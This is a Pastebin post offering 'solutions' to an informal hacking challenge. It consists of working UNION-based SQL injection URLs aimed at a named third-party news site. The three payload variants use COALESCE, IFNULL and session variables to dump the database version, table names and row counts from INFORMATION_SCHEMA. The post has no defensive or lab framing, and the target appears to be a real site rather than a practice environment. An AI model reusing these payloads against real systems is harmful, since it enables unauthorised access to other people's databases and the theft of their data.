Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Solution of my Challenge
- The Challenge Was
- Time Pass SQL
- ======================
- Site:http://patshortt.com/news.php?id%3D
- ======================
- Print name,version,table name,total record in tables
- Sort tables Ascending order as per record
- e.g Lowest Data table should be on the top and highest record table should be in the last
- =====================
- Do not change parameter or add anything in the end of parameter
- post pic and pm me your query
- =====================
- there are many ways to solve this challenge
- 1. First Solution is with "COALESCE" Function
- =============================================
- http://patshortt.com/news.php?id=%27%20+UNION+ALL+SELECT+1,concat%280x3c666f6e7420636f6c6f723d707572706c653e3c623e3c693e436865657461682048657265203a3a20,@@version,0x3c62723e,0x3c62723e,%28SELECT+GROUP_CONCAT%28table_name,0x203a3a20,COALESCE%28table_rows,0%29+order+by+COALESCE%28table_rows,0%29+ASC+SEPARATOR+0x3c62723e%29+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE%28%29%29%29,3,4,5,6,7,8,9,10,11,12,13,14--%20-
- 2. Second Solution is with "IFNULL" function
- ==============================================
- http://patshortt.com/news.php?id=' +UNION+ALL+SELECT+1,concat(0x3c666f6e7420636f6c6f723d707572706c653e3c623e3c693e436865657461682048657265203a3a20,@@version,0x3c62723e,0x3c62723e,(SELECT+GROUP_CONCAT(table_name,0x203a3a20,ifnull(table_rows,0)+order+by+ifnull(table_rows,0)+ASC+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE())),3,4,5,6,7,8,9,10,11,12,13,14-- -
- 3. Third Solution is to declare variables for 'Table','table_rows','for ordering' so this this method here is query ;)
- PS> This query belongs to Mukarram Khalid(Mak Man)
- ===================================================
- concat(@x:=0x0,@oldtable:=0x0,@num:=0,benchmark((select count(*) from information_schema.tables where table_schema=database()),@x:=concat(@x,0x3c6c693e,(select concat(@num:=@num%2b1,0x2920,tbl,0x203a3a20,rows, if(@oldtable:=concat(@oldtable,0x2C,tbl),0x0,0x0)) from (select table_name as tbl,table_rows as rows from information_schema.tables where table_schema=database() order by table_rows DESC)makman where FIND_IN_SET(tbl, @oldtable)=0 limit 1))),@x)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement